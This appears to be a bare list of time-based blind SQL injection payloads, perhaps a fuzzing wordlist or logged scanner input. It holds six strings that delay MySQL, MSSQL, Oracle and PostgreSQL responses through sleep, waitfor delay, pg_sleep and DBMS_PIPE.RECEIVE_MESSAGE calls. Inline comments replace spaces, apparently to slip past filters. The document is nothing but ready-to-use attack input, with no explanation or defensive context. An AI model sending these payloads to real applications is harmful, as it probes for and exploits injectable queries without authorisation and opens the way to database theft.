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(select*from(select+sleep(2)union/**/select+1)a)
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123456"and(select*from(select+sleep(2))a/**/union/**/select+1)="
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123456/**/and(select+1)>0waitfor/**/delay'0:0:2'/**/
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123456/**/and/**/3=DBMS_PIPE.RECEIVE_MESSAGE('n',2)
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'/**/and(select'1'from/**/pg_sleep(2))::text>'0
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'/**/and/**/DBMS_PIPE.RECEIVE_MESSAGE('h',0)='h
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